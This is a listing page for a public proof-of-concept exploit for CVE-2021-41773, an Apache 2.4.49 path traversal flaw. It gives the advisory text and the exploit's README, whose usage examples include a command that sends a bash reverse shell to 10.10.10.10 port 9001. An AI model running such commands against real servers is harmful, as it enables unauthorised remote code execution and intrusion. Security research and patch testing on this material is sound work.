CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Source

https://github.com/gunzf0x/CVE-2021-41773

Associated Vulnerability

Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.

Description

Remote Code Execution PoC for Apache 2.4.49

Readme

# CVE-2021-41773 - Remote Code Execution in Apache 2.4.49

PoC for [CVE-2021-41773](https://nvd.nist.gov/vuln/detail/cve-2021-41773) as I just found over-complicated exploits and this one goes straight to the Remote Code Execution.

---

## Usage

Just specify the IP address running the vulnerable `Apache 2.4.49` server with `-i` and the desired system command with `-c`. If the web server is not running on port `80` we can specify it with `-p` and if the web server is using HTTPs you need to use `--use-https` flag.
```shell-session
$ python3 CVE-2021-41773.py -i 10.10.10.10 -c 'id'

$ python3 CVE-2021-41773.py -i example.com -p 8080 -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"'

$ python3 CVE-2021-41773.py -i 20.20.20.20 -p 443 --use-https -c 'whoami'
```

Use it under your own responsability (:

Be ethical.

File Snapshot

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